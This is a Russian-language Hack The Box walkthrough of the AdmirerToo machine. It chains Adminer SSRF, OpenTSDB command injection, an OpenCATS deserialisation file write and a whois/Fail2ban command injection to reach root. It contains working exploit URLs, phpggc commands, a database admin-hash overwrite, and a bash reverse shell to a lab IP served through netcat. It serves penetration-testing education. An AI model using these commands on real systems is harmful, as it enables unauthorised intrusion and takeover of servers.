Хакер - HTB AdmirerToo. Захватываем сервер через Fail2ban
Содержание статьи
- Разведка
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
- Поиск информации
- OpenCATS CMS
- Whois + Fail2ban
В этом райтапе я покажу, как эксплуатировать Adminer, OpenTSDB и OpenCATS. Для повышения привилегий будем использовать комбинацию уязвимостей и неправильных конфигураций ПО: уязвимость произвольной записи файлов OpenCATS для конфигурации whois, whois для получения и инъекции команды терминала ОС в Fail2ban и Fail2ban для ее активации. Все это — в рамках прохождения сложной машины AdmirerToo с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Добавляем IP-адрес машины в /etc/hosts
для удобства:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Скрипт нашел всего два открытых порта: 22 — служба OpenSSH 7.9p1 и 80 — веб‑сервер Apache 2.4.38.
Начинаем традиционно с веба.
Первым делом просканируем сайт на наличие скрытых ресурсов.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-u
— URL;-fc
— исключить из результата ответы с кодом 403.
ffuf -u http://admirertoo.htb/FUZZ -t 256 -w files_interesting.txt -fc 403
Ничего найти не удалось. Зато когда я попытался перейти на точно не существующую страницу, я получил ссылку на домен admirer-gallery.htb
.
Добавим найденный домен в файл /etc/hosts
и повторим сканирование на новом домене. Так найдем новый поддомен!
10.10.11.137 admirertoo.htb admirer-gallery.htb
ffuf -u http://admirer-gallery.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.admirer-gallery.htb' -fs 14099
Его тоже добавляем в /etc/hosts
и получаем доступ к панели авторизации Adminer.
10.10.11.137 admirertoo.htb admirer-gallery.htb db.admirer-gallery.htb
Adminer — это легковесный инструмент администрирования СУБД, что‑то вроде легкого варианта phpMyAdmin. Так как авторизация происходит по нажатию на кнопку, значит, учетные данные уже должны быть в исходном коде страницы.
Так мы находим имя пользователя и пароль. Но сама панель Adminer ничего, кроме номера версии, нам не раскрывает.
ТОЧКА ВХОДА
Раз мы знаем номер версии, стоит поискать существующие эксплоиты. Делать это я рекомендую при помощи Google.
Так мы находим инструкцию с описанием уязвимости (PDF). Этот баг позволит нам просканировать внутренние ресурсы, а именно порты. Как указано в статье, запустим скрипт‑редиректор.
python2 redirect.py -p 80 http://127.0.0.1
Затем я решил перебрать возможные СУБД. Их список есть в документации Adminer, а для перебора я использовал Burp.
Вместо server
вставляем СУБД, а вместо localhost
— свой локальный IP-адрес. Для некоторых СУБД получим ответ с записью () admirer_ro...
, а в других случаях совсем ничего.
Тогда я нашел исходники Adminer на GitHub и посмотрел, как указываются разные модули.
И первый же модуль elastic
делает запрос на наш хост.
А в браузере получаем код HTML-страницы с сервера. Это значит, что мы добились от сервера выполнения произвольного запроса на другой ресурс.
ТОЧКА ОПОРЫ
Теперь нам нужно найти внутренние сервисы и получить какую‑нибудь информацию от них. Искать их сканированием через найденную уязвимость — дело долгое и трудоемкое, поэтому начнем с поиска портов, подключение к которым фильтруется. Для этого выполним SYN-сканирование.
Мы нашли порт 4242. Получим ответ от сервиса, использовав описанную выше атаку. Для обращения к интересующим нас страницам будем перезапускать редиректор.
python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/
Там развернут OpenTSDB. Это распределенная и масштабируемая база данных временных рядов на основе HBase, которая собирает индикаторы контролируемых объектов и сохраняет их во временной последовательности. Запрашивая параметры определенного индикатора в течение конкретного периода, пользователь может видеть происходящие изменения. Так как запросов придется выполнять много, добавим в настройках Burp Proxy опцию Match/Replace, которая будет автоматически заменять в каждом запросе целевой модуль и адрес сервера.
А теперь попробуем узнать версию OpenTSDB. Посмотреть ее можно, обратившись по адресу /api/version/
.
python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/api/version/
Получаем версию 2.4.0. И снова ищем уязвимости в ней.
Эта версия уязвима, и для уязвимости есть PoC. Правильная эксплуатация может дать нам удаленное выполнение кода (RCE). Возможно, это потому, что значение полученных параметров записывается во временный файл, который потом выполняется. Для теста запустим tcpdump с фильтром протокола ICMP и попробуем пингануть свой хост с удаленного сервера.
python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
Но никакого пинга не пришло, а в ответе получаем какую‑то ошибку. Решение проблемы удалось найти на StackOverflow. Так, в PoC используется метрика sys.cpu.nice
, которой не существует. Попробуем узнать, какие есть метрики.
python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/api/suggest?type=metrics'
Теперь вставим это значение в эксплоит и повторим запрос.
python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
В логах tcpdump видим пришедший пинг. Теперь сгенерируем реверс‑шелл и попробуем получить бэкконнект. Для этого я воспользуюсь онлайновым генератором Reverse Shell Generator. Ему нужно указать лишь локальный адрес, порт и шелл, и мы получим две команды: для запуска листенера и для создания обратного подключения. Вдобавок есть несколько возможностей для кодирования шелла.
Для запуска этого шелла используем конвейер команд.
echo <base64 shell> | base64 -d | /bin/bash
Но нагрузку нужно еще и закодировать как URL. Я пользуюсь расширением HackVector для Burp Pro.
Запускаем листенер и отправляем команду.
python2 redirect.py -p 80 -i 10.10.14.57 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(<COMMAND>)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
ПРОДВИЖЕНИЕ
Так как на хосте развернут веб‑сервер, а на нем работает даже две CMS, то первое наше действие — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти же логины и пароли подойдут и для локальных пользователей в системе. Я решил просто найти подстроку pass
в файлах CMS.
И в первом же файле видим целых два пароля, один из которых нам уже был известен.
Пароль нашли, осталось посмотреть на существующих пользователей. Можно взглянуть на домашние каталоги.
В системе всего один домашний каталог. С найденным паролем удается авторизоваться от имени его владельца.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Поиск информации
Чтобы быстро найти возможности для повышения привилегий, я использую скрипты PEASS.
Справка: скрипты PEASS для Linux (загрузка через Python и Wget)
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате. Как загрузить их на удаленный хост, я подробно описывал в предыдущих прохождениях.
Загружаем версию для Linux на хост и запускаем скрипт.
Среди найденной им важной информации в первую очередь замечаем порты, открытые только для локального хоста.
На порте 8080 работает система управления контентом OpenCATS.
Также находим учетные данные для подключения к базе данных OpenCATS.
Ну и последний момент — мы нашли файлы и каталоги, доступные для записи любому пользователю.
OpenCATS CMS
Перейдем к OpenCATS. Это опенсорсный инструмент, который позволяет рекрутерам работать с данными о персонале компании. Обратимся к нему через браузер, и нас встретит форма авторизации. На той же странице указан номер продукта.
Что делать, если мы знаем версию какой‑то софтины? Правильно, искать информацию об уязвимостях в ней. Первая же ссылка в Google — на описание бага с номером CVE.
Проблема в том, что эксплуатация этой уязвимости возможна, только если мы уже авторизованы на сайте. Но мы можем получить пароль администратора CMS прямо из базы данных, подключиться к которой помогут учетные данные, полученные на этапе поиска информации.
mariadb -h 127.0.0.1 -u cats -padm1r3r0fc4ts
С помощью команды show tables;
найдем таблицу, содержащую учетные данные пользователей.
Нас интересует таблица user
, а именно ее столбцы user_name
и password
.
select user_name,password from user;
Скорее всего, это хеши MD5, но взломать их не вышло. Тогда появилась идея заменить хеш в таблице своим. Это позволит установить администратору известный нам пароль. Но перед этим посмотрим на привилегии текущего пользователя базы данных.
show grants for 'cats'@'localhost';
Мы имеем полные привилегии на базу, поэтому можем установить свой пароль (я поставил ralf_password
).
update user set password = '80611e766bf21f75011a73b6dbf91cf9' where user_name = 'admin';
Изменения внесены, и мы легко авторизуемся в OpenCATS от имени админа.
Теперь перейдем к замеченной ранее уязвимости. В рамках обычного пользовательского рабочего процесса приложение отправляет сериализованные данные в параметре parametersactivity:ActivityDataGrid
. На сервере эти данные десериализуются с помощью функции unserialize
. В PHP-модуле guzzlehttp мы можем вызвать метод destruct()
из файла FileCookieJar.php
, он расположен по такому пути:
guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
В результате будет вызван метод save()
и появится возможность записать произвольные файлы в системе. Имя файла, куда будут записаны данные, принимает тот же метод save()
.
Для сериализации данных мы будем использовать phpggc. Попробуем записать файл test_copy.txt
с содержимым TEST_TEST
в доступный для записи каталог /dev/shm
(мы нашли его на этапе сбора информации).
./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test_copy.txt /tmp/test.txt
А теперь отправим полученные данные в параметре parametersactivity:ActivityDataGrid
.
В итоге в каталоге /dev/shm
появился файл test_copy.txt
, содержащий наши данные, но в своем формате. Также отмечаем, что файл создан от имени пользователя devel
.
Прямо получить контроль от имени этого пользователя не выйдет, так как у него нет командной оболочки.
Тогда найдем все файлы и каталоги текущего пользователя.
find / -group devel 2>/dev/null
Больше ничего не придумав, я решил перейти к Fail2ban.
Whois + Fail2ban
Fail2ban — простой локальный сервис, который отслеживает log-файлы запущенных программ и после нескольких неудачных попыток авторизации блокирует запросы с определенного IP-адреса. Сперва посмотрим, работает ли Fail2ban и на какую службу он реагирует.
Мы видим, что Fail2ban активен для службы SSH. Я стал искать, как его можно использовать при пентестах, и нашел описание уязвимости, которая может дать нам удаленное выполнение кода (RCE).
Суть бага заключается в том, что Fail2ban в случае блокировки использует Mailutils, чтобы отправить сообщение с информацией о заблокированном адресе, для чего ему нужно выполнить команду whois
. Если передать последовательность ~!
, то можно выполнить свою команду. Таким образом, если у нас получится контролировать вывод whois, мы можем передать в командную оболочку свой реверс‑шелл!
Среди каталогов, доступных для записи пользователю devel, есть /usr/local/etc/
, куда можно поместить файл конфигураций whois.conf
. Через уязвимость в OpenCats запишем наш тестовый файл как конфиг, а потом для проверки выполним команду whois.
./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /tmp/test.txt
Конфиг был записан и применен. Но OpenCATS добавляет свои данные, поэтому whois не может распарсить адрес. Эту проблему тоже можно решить, использовав регулярные выражения, а именно операцию OR (|
) и любой символ (.
). При этом попробуем закрыть добавленные OpenCATS теги JSON. Таким образом, содержимое нашего файла test.txt
будет таким:
Теперь при выполнении команды whois
сервис обратится к службе whois на наш сервер (порт 43). Затем мы должны отдать ему реверс‑шелл с последовательностью ~|
. Запишем нагрузку в файл и будем выводить в консоль при подключении к netcat.
echo -n '~| bash -c "bash -i >& /dev/tcp/10.10.14.54/4321 0>&1" &' > /tmp/shell.txt
nc -nvlkp 43 -c "cat /tmp/shell.txt"
Все готово к основной эксплуатации: при выполнении команды whois
получим реверс‑шелл, который будет передан Fail2ban и выполнен в консоли. Откроем листенер на порте 4321 (rlwrap nc -lpv 4321
) и попробуем вызвать срабатывание Fail2ban, попытавшись несколько раз авторизоваться по SSH.
После сообщении о сбросе подключения получим бэкконнект на свой листенер.
Машина захвачена, и у нас есть флаг рута!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei